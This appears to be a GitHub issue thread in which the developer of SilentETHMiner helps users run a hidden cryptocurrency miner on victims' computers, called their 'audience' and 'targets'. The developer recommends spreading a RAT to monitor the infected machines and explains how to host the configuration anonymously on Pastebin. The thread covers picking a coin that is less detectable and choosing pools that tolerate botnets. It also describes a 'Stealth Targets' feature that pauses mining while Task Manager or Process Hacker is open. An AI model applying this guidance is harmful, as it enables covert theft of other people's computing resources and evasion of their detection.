How much GPU?

[Smurfboi007]

Hello again!

I'm currently using 50% GPU, but I think that's too much since most of the workers disappear. Do you recommend any GPU %?

[UnamSanctam]

% GPU is mainly only for fan sound and usually won't really affect performance (of the computer itself i.e lag, the % will of course decrease the hashrate of the actual miner) since the % will automatically decrease when something else is run. The main reason for lag while mining is the VRAM that it uses if they try to run something that also requires a large amount of VRAM, but the VRAM it uses cannot be decreased because all Ethash coins require the entire DAG to be stored in the GPU memory by design to be able to calculate hashes. You can try mining an Ethash coin that has a smaller DAG size (though they are usually less profitable of course) to see if there is any noticeable change, you can see the DAG sizes for some coins here https://minerstat.com/dag-size-calculator, the most common alternative is ETC.

[Smurfboi007]

Ok, But then I do not think that the % GPU usage is the problem for me... But it's pretty annoying at this point that I'm almost losing more workers than I gain. I have no idea why tho.

[UnamSanctam]

Hmm, worker drop off shouldn't really be that bad usually, are you sure 'Install' and everything is enabled?

[Smurfboi007]

Yep, most workers work for maybe 1-3 days and then just stop.

[UnamSanctam]

Hmm, I guess it depends on your audience. If you mine ETH when playing games like World of Warcraft or League of Legends or something else that don't require much VRAM then there won't really be any lag but if you try to play something like COD: Warzone that requires like 4-6GB of VRAM to be playable (maybe even more at higher graphics settings) then you can notice lag since the GPU doesn't have that much VRAM left to allocate. So you could try mining ETC or something else that uses less VRAM to see if it's any better.

[Smurfboi007]

Yeah, my audience is mostly Fortnite and Minecraft for the moment...

[Smurfboi007]

What audience do you mostly have?

[UnamSanctam]

Those shouldn't really be that noticeable, I've accidentally left the miner open before while running Minecraft and didn't even notice it was running until later so that shouldn't really be a problem. I don't really mine anything myself since I don't really have the time to, but audiences like Fortnite and Minecraft should work fine since they aren't that demanding on the GPU memory from what I've seen.

[Smurfboi007]

Yeah, i don't know what's wrong. But something isn't right.

Here is the file if you want to look at it: Password: 123 Stratum 2048x.zip

[UnamSanctam]

It seems to work correctly so there probably isn't anything wrong with the miner itself. These workers stop working and never come back correct?

[Smurfboi007]

Correct

[UnamSanctam]

Hmm, it's going to be quite hard to tell, the optimal solution to know what's going on is to spread a RAT and then send the miner through the RAT so the computers can be monitored but that is a lot of work. I'd say try mining ETC and see if you experience any difference.

[Smurfboi007]

Alright, imma try to mine some ETC then.

Thanks for the help!

[UnamSanctam]

No problem, you can also use 'Remote Configuration' https://github.com/UnamSanctam/SilentETHMiner/wiki#remote-configuration to be able to change the pool or between ETH/ETC or any other coins without rebuilding the miner.

[Smurfboi007]

Yeah, that seems smart.

[Smurfboi007]

Is this an correct configuration?

[main] connection=stratum://WALLETADRESS.{%COMPUTERNAME%}@eth-eu1.nanopool.org:9999 etc=false

[UnamSanctam]

Yes though {%COMPUTERNAME%} doesn't work in the current version since I forgot to make it replace the string inside the miner instead of the builder since I never use {%COMPUTERNAME%}.

[Smurfboi007]

So does {%RANDOM%} work? And also if I add this to Pastebin and then want to change it, how do I do that?

[UnamSanctam]

No, in the current version those strings are replaced here https://github.com/UnamSanctam/SilentETHMiner/blob/774de45bf1d655d741563d5dc0ac00e1b9a0de10/SilentETHMiner/Resources/Program.cs#L193 while the 'Remote Configuration' is retrieved inside the miner itself so it never replaces it. Though this will be changed in the next version.

To change it on pastebin you need to create an account (though you should probably do this with a VPN and protonmail or something), you can then edit it later by logging in. Don't forget to also make sure that the paste is set to never expire and you should probably also set it to "unlisted".

[Smurfboi007]

OK, sounds good!

[Smurfboi007]

So what do you recommend to put instead of {%RANDOM%} or {%COMPUTERNAME%}?

[UnamSanctam]

You'd have to use a normal Worker name so you won't get statistics from every computer unfortunately. In the next version those strings will work and there will also exist a online control panel/monitor for the miners but there's a lot of work and testing before I can release it.

[Smurfboi007]

Alright, I'm really looking forward to the next update, keep it up!

[UnamSanctam]

same thing happend to me i had couple of etc workers and they all disappeared in 2 days

Hmm, I haven't really heard any other reports of it happening consistently before, and the people who spread with RATs haven't really given any reports of it either (since they can see what's running on all the computers and thus have more knowledge on the status of everything). Only thing I can think of is that maybe the antivirus removes it but that the miner might've injected before it was removed so it can continue running until the next restart or crash since the miner won't get detected or killed by the antivirus while it's injected.

[LokeYourC3PH]

I was also curious about this, would it just be possible to make the Miner run when it isn't detecting any processes that require a lot of VRAM (like CoD: Warzone) or the likes? Basically make it work sort of like NiceHash Miner where it scales down the GPU usage (or just stops entirely) when there is another process that requires a lot of VRAM. If that was with the Miner, that would be super helpful to avoid detection, as the PC would only Mine when people aren't running tasks that require a lot of VRAM, so when they use the Browser, etc, then it mines, otherwise when games like CoD: Warzone or the likes are running, the Miner pauses/stops and clears the VRAM.

[UnamSanctam]

I was also curious about this, would it just be possible to make the Miner run when it isn't detecting any processes that require a lot of VRAM (like CoD: Warzone) or the likes? Basically make it work sort of like NiceHash Miner where it scales down the GPU usage (or just stops entirely) when there is another process that requires a lot of VRAM. If that was with the Miner, that would be super helpful to avoid detection, as the PC would only Mine when people aren't running tasks that require a lot of VRAM, so when they use the Browser, etc, then it mines, otherwise when games like CoD: Warzone or the likes are running, the Miner pauses/stops and clears the VRAM.

Only real way to do with would be to manually create a list of every high VRAM usage game and pause it if any of them are found. No miner, NiceHash or other currently stops (since it can't decrease VRAM usage) when another program requires VRAM or it doesn't for me in any tests I've done at least.

[LokeYourC3PH]

I was also curious about this, would it just be possible to make the Miner run when it isn't detecting any processes that require a lot of VRAM (like CoD: Warzone) or the likes? Basically make it work sort of like NiceHash Miner where it scales down the GPU usage (or just stops entirely) when there is another process that requires a lot of VRAM. If that was with the Miner, that would be super helpful to avoid detection, as the PC would only Mine when people aren't running tasks that require a lot of VRAM, so when they use the Browser, etc, then it mines, otherwise when games like CoD: Warzone or the likes are running, the Miner pauses/stops and clears the VRAM.

Only real way to do with would be to manually create a list of every high VRAM usage game and pause it if any of them are found. No miner, NiceHash or other currently stops (since it can't decrease VRAM usage) when another program requires VRAM or it doesn't for me in any tests I've done at least.

You might be totally right with that and NiceHash, but for some reason it scales down well, at least on my PC that is, why I do not know. But yeah anyways I thought of that as being an alternative idea as well, having the ability to add file/process names to a list of running applications that if they are running, the Miner pauses/stops & clears VRAM, that would work really well. But instead of adding that fixed list, I guess it would be a good idea to let us add those files/processes to the list like

"MW.exe" "Notepad.exe" "Test.dll"

(Notice that I didn't set only .exe because it might be useful for other types of files too, that if they are run, that the Miner pauses/stops and clears VRAM, I think every one of us knows their targets and their devices/machines/PC's the best).

Yeah, I think that adding a way for us to add files/processes to a list that if run/executed so that the Miner pauses/stops and clears VRAM would definitely help avoid detection by miles.

Another issue: I have really tried everything but as of recent my Miners just do not connect to NiceHash pool anymore. Some rare times they do, but one PC I have on my Network which runs 24/7 basically is really only active on NiceHash maybe 1-2 hours, if at all, and I have "Idle Mining" turned off just to test, same issue. Happened as of recent updates.

[UnamSanctam]

Yeah in the next version I have a "Stealth Targets" field where you can enter Taskmgr.exe,ProcessExp.exe,ProcessHacker.exe,Whatever.exe.

Personally I can't really test NiceHash since my whole ISP seems to be range banned from it, NiceHash and MinerGate both have quite a lot of IP bans which is also why I don't usually recommend it for silent mining since a lot of people can't connect.

[LokeYourC3PH]

Yeah in the next version I have a "Stealth Targets" field where you can enter Taskmgr.exe,ProcessExp.exe,ProcessHacker.exe,Whatever.exe.

Personally I can't really test NiceHash since my whole ISP seems to be range banned from it, NiceHash and MinerGate both have quite a lot of IP bans which is also why I don't usually recommend it for silent mining since a lot of people can't connect.

I mean yeah but wouldn't that easily be fixed by using a different DNS service? I usually circumvent the simple bans just by changing my ISP to 1.1.1.1 . But yeah, lots of targets that I know work or at least used to work even just about 3-4 weeks ago, stopped working since your latest release and when I then updated them, not sure why that is.

[UnamSanctam]

No, changing DNS won't do anything since it's Nicehash themselves who have ranged banned the IPs from their servers and only way to get around it would be to use a VPN or proxy. Nicehash should work just like normal since it's just like any other pool for Ethash.

[LokeYourC3PH]

No, changing DNS won't do anything since it's Nicehash themselves who have ranged banned the IPs from their servers and only way to get around it would be to use a VPN or proxy. Nicehash should work just like normal since it's just like any other pool for Ethash.

Ah I see. Then the question is, why have the banned IP ranges from connecting to their pool? Like PC obviously works, so does my friend (those that use the NiceHash Miner), but like I said, since I updated the Miner Software to 1.4.2 on other rigs, they all have had connection issues.

[UnamSanctam]

Nicehash is a site that's not meant for anything else but dedicated mining so they IP ban things if they get DDoSed or whatever from those IPs. But for the connection, the only real thing that can be wrong is their pool servers so the error would be on their side and not the miners. If you try a real pool does it work 24/7? Nicehash can also ban workers for some time if they submit too many invalid shares or if they believe it's a part of a botnet.

[LokeYourC3PH]

Nicehash is a site that's not meant for anything else but dedicated mining so they IP ban things if they get DDoSed or whatever from those IPs. But for the connection, the only real thing that can be wrong is their pool servers so the error would be on their side and not the miners. If you try a real pool does it work 24/7? Nicehash can also ban workers for some time if they submit too many invalid shares or if they believe it's a part of a botnet.

I mean again it all happened since 1.4.2, not sure why that is. I tried using the NiceHash Miner software on a PC that first used your ETH Miner, and it mines fine when it is running, so the IP is clearly not blocked.

[UnamSanctam]

Check it with another pool, the miner hasn't changed in version 1.4.2 and even then if the miner mines at all like you said it does (mines for 1-2 hours) then everything is working correctly on the miner side, the problem must then on their side. Which isn't improbable since people have always had problems mining to the Nicehash pools with miners which isn't the Nicehash miner either accidentally or intentionally from their side.

[LokeYourC3PH]

Check it with another pool, the miner hasn't changed in version 1.4.2 and even then if the miner mines at all like you said it does (mines for 1-2 hours) then everything is working correctly on the miner side, the problem must then on their side. Which isn't improbable since people have always had problems mining to the Nicehash pools with miners which isn't the Nicehash miner either accidentally or intentionally from their side.

Hmm, ok then do you have a better place to recommend that is as and/or more profitable than NiceHash? NiceHash is quite profitable since the payout is in BTC, but if you know of any better pool that I can test with then I'd be happy to try :)

[UnamSanctam]

Well, any pool since Nicehash is less profitable then mining Ethereum directly since on Nicehash you're selling your ETH hashrate to other people for BTC but they of course buy it below the profit they get meaning you get less money than mining directly which you can clearly see here: https://whattomine.com/coins

I usually recommend Nanopool since they don't ban you for having many miners but you can also use flexpool or ethermine though they do on paper issue bans.

[LokeYourC3PH]

Well, any pool since Nicehash is less profitable then mining Ethereum directly since on Nicehash you're selling your ETH hashrate to other people for BTC but they of course buy it below the profit they get meaning you get less money than mining directly which you can clearly see here: https://whattomine.com/coins

I usually recommend Nanopool since they don't ban you for having many miners but you can also use flexpool or ethermine though they do on paper issue bans.

Hmm, that being said the BTC payout usually scales higher but dunno, I can try NanoPool again. Btw do you recommend ETH or ETC then?

[UnamSanctam]

It depends, ETH is currently more profitable per GPU but can't be run on as many GPUs (due to the 4.4GB DAG size) while ETC is currently less profitable but can run on more GPUs (2.8GB DAG size, which also makes it less detectable of course) so the choice is yours. It also depends on whether you're going to hold or sell it since if you believe they are going to rise then mine the one you believe will rise in price the most.

[UnamSanctam]

In the new version it's possible to add new programs it should pause from with "Stealth" by adding programs into the "Stealth Targets" field. You could add some games .exe's there for it to stop while the games are running.